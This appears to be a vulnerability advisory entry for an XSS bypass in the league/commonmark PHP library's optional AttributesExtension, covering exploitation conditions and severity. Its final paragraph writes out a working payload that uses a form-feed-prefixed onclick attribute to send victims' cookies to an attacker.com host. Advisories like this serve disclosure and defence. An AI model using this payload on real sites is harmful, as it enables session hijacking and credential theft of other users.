league/commonmark EUVD-2026-72389

Exploitation requires two non-default application-level conditions: (1) The AttributesExtension (League\CommonMark\Extension\Attributes\AttributesExtension) must be explicitly registered with the CommonMark Environment - it is an optional extension and is not loaded by default, so default CommonMark installations are not affected. (2) The application must pass untrusted, user-supplied Markdown strings to the converter without pre-sanitizing or stripping attribute syntax. Where both conditions hold, exploitation is limited only by the attacker needing a Markdown input channel (e.g., comment box, wiki editor, API endpoint accepting Markdown) and a second user (the victim) viewing the rendered HTML in a browser. The javascript: URI bypass additionally requires that allow_unsafe_links is false (the secure default) - if allow_unsafe_links is true, javascript: URIs were already permitted, making the bypass moot for that vector.

The CVSS 4.0 vector provided (AV:N/AC:L/AT:N/PR:N/UI:N - score 6.9) rates this moderate in severity, though the UI:N metric appears to understate the requirement that a victim must visit or render the output page for the injected script to execute. Real-world risk is conditional on two factors: first, the AttributesExtension is optional and not enabled in the default CommonMark configuration, narrowing the exposure to applications that explicitly enable it; second, the application must pass untrusted user-supplied Markdown to the converter. Applications using CommonMark only for trusted content (static documentation, developer-controlled input) are not affected. Where both conditions hold - a CMS, wiki, or collaborative tool built on this library with the extension enabled - the risk is meaningful: an attacker with Markdown-input access can achieve stored or reflected XSS leading to session theft, credential harvesting, or UI redress. No KEV listing is present; exploitation probability is not independently assessed from EPSS data in this input set. The absence of KEV and a moderate CVSS 4.0 score suggest this is currently a targeted rather than mass-exploited issue, but the detailed GHSA advisory provides sufficient technical depth to construct a working proof of concept.

An attacker submits a Markdown comment on a platform (wiki, CMS, forum) that uses league/commonmark with the AttributesExtension enabled, embedding a payload such as [click me](

){\x0Conclick='document.location=\'https://attacker.com/?c=\'+document.cookie'}. The application converts the Markdown to HTML and stores the output; when any other user views the page, their browser strips the leading U+000C byte and fires the onclick handler, exfiltrating the victim's session cookie to the attacker's server. The GHSA advisory provides equivalent proof-of-concept syntax, making reliable reproduction straightforward for any PHP developer familiar with the library.